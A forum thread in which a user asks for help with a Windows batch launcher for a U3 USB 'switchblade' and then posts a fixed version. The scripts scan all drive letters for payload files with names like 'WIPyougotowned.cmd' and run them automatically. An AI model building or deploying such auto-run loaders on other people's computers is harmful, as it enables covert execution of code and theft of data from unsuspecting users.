Jump to content

need help: creating a launcher


Nakaori
 Share

Recommended Posts

ok. i try to make a u3 automatic launcher in batch.

the point why i started to do this, is because my boxes at home all have scripting host set to off..

i like to have a switchblade which runs everywhere.

here's my code:

@echo off

:: OK this line is searching for the payload on all available drives. It looks for the WIPyougotowned.cmd

for %%i in ( A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do @if exist %i:WIPyougotowned.cmd Set "drv=%i:"

if not defined drv goto :eof

:PAYLOAD

:: This line executes the payload on the detected drive.

Echo executing payload from drive %drv%

nircmd %drv%WIPyougotowned.cmd

:eof

however this code doesnt work. it seems like it doesnt see the yougotowned.cmd.. ;(

i really need help with that

//EDIT:

Ok. I might want to edit the tread saying "amish fixxe dit becaue he is the best

;) thanks to you dude

Here is the loader:

@echo off

for %%i in (B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do if exist %%i:youwillbehackedsoon.txt set dir=%%i

cd /d %dir%:

call WIPCMDgo.cmd

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...